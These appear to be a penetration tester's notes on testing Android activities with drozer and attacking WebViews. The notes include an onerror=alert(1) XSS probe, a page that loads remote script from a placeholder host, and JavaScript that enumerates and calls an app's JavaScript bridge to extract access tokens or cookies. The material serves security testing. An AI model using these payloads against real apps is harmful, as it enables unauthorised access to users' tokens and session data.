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Activities

Activities are basically the GUI screen that we seen in an android app.

  • run [app.activity.info](http://app.activity.info)-a <package-name>
    • Don't use the -u flag. It's for activity which are not exported.
    • Non-exported activities might also give you something juicy but usually, it requires root permissions.
  • start activity is always exported because an application has to be started when someone clicks on the ICON.
    • It have intent filter for the launcher.
  • If you want to invoke an activity:
    • run app.activity.start --component <package-name> <activity-name>

In addition to provoking any exported activity with drozer, also read the source code and see what is being done with onCreate() method. Because every time activity is called there is an onCreate() method called. So maybe see what they do it with the data(if they accept any) or are there any if/else condition that is placed.

Also check if the activity sends any result back. This is done by setResult() . So see if there any call to that function and try to find out what's being sent back to the caller.

These are better know as fragments . They are just small UI task that kind of help the activities.

NOTE: It's possible to try to provoke the unexported activities, because they might give you something. Like say if there is a SETTING ACTIVITY which shows you the setting of the application etc. Now that is only to be displayed once the user is logged in but it might be possible to provoke them with having a user to do login.

Tricks

If any activity allows loading any URL in webView then try to read the JS file.

On server host the following code:

<html>
    <head>
        <title>Test</title>
    </head>
    <body>
        <img src='http://<server-url>/img.png' onerror=alert(1)>
    </body>
</html>

And then try to run the activity if alert(1) is loaded it's possible that you might see something good as well.

To test if it's possible to read the internal files try the following:

1) Make a file name xss.html with the following code:

<html>
    <head>
        <title>Test</title>
    </head>
    <body>
        <h1>Test</h1>
        <script src="http://<url>/xss.js"></script>
    </body>
</html>

2) In xss.js try with the following code:

Object.getOwnPropertyNames(window).forEach(function(v, x) { document.writeln(v); });

It should give you loads of functions, scroll to the bottom and see if you have anything like apkInterface if yes then you can try the following command:

Object.getOwnPropertyNames(window.apkInterface).forEach(function(v, x) { document.writeln(v); });

And if this gives some output then try running:

document.write(apkInterface.getApkPushParams());

This might give you payload that contains access token or any kind of cookies.

Another way of checking is that see if

  • settings.setJavaScriptEnabled(true);
  • DOM setting is enabled or not, it would look similar to line as javascriptEnabled.

  • Also check for webSettings().setAllowFileAccess(true); if it's false then you won't be able to read the files.

  • Always look for permissions